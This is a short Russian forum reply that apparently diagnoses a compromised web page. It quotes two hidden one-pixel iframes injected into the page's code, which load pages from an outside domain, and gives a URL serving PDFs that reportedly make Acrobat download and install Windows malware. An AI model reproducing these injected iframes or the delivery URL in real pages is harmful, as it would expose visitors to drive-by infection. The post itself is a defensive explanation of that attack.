Vladi, IgorSk страница в свое коде содержит скрытый слой, в котором подгружает две страницы с левого сайта.
<iframe src="http://litedownloadseek.cn/in.cgi?cocacola29" width=1 height=1 style="visibility: hidden"></iframe><iframe src="http://litedownloadseek.cn/in.cgi?cocacola26" width=1 height=1 style="visibility: hidden"></iframe>
вот на них и ругался гугль. а они в свою очередь подгружают какието pdf файлы
http://daiwa-cormoran.ru//mods/catalog/acr/system/pdf.php?id=109
которые в свою очередь заставляют актобат скачать программу и передать ей управление, которая ставиться в виндовс в систему встраивается (дальше я разбираться не стал, т.к. просто погупал пачку процессов и файлов, пока она ничего не натворила (начала лезть в реестр прописываться и всё такое)